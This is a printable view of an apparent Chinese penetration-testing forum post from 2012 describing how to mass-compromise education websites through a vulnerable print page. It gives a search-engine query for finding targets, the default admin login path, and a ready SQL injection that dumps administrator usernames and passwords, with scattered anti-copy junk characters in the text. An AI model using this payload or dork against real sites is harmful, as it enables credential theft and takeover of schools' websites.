中国网络渗透测试联盟
标题:
某教育站打印页面漏洞批量webshell
[打印本页]
作者:
admin
时间:
2012-10-31 08:37
标题:
某教育站打印页面漏洞批量webshell
教育站打印页面漏洞
, v+ \8 ^1 T$ r+ K# J* Q
百度或google搜索 inurl:info_Print.asp?ArticleID=
) `4 d4 V& u' W& S
默认后台：/ad_login.asp
, f0 z; Y( S9 i
爆管理员密码：
6 n( U6 c6 R/ S ^" F/ t# d' M
在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可
U- s1 l" t: [
5 _0 F. E3 M: r, n
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
5 V: Q& x8 H( V' G- L9 }" f
' P ~' o) T( o6 e! U) J9 ^
作者：佚名
: I2 }$ |& p2 |% T/ P/ a/ X" I
* h' \/ C8 I% B1 `& e/ L3 ?7 P
/ c& p/ ]/ C2 V, R# m! B: V* V
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2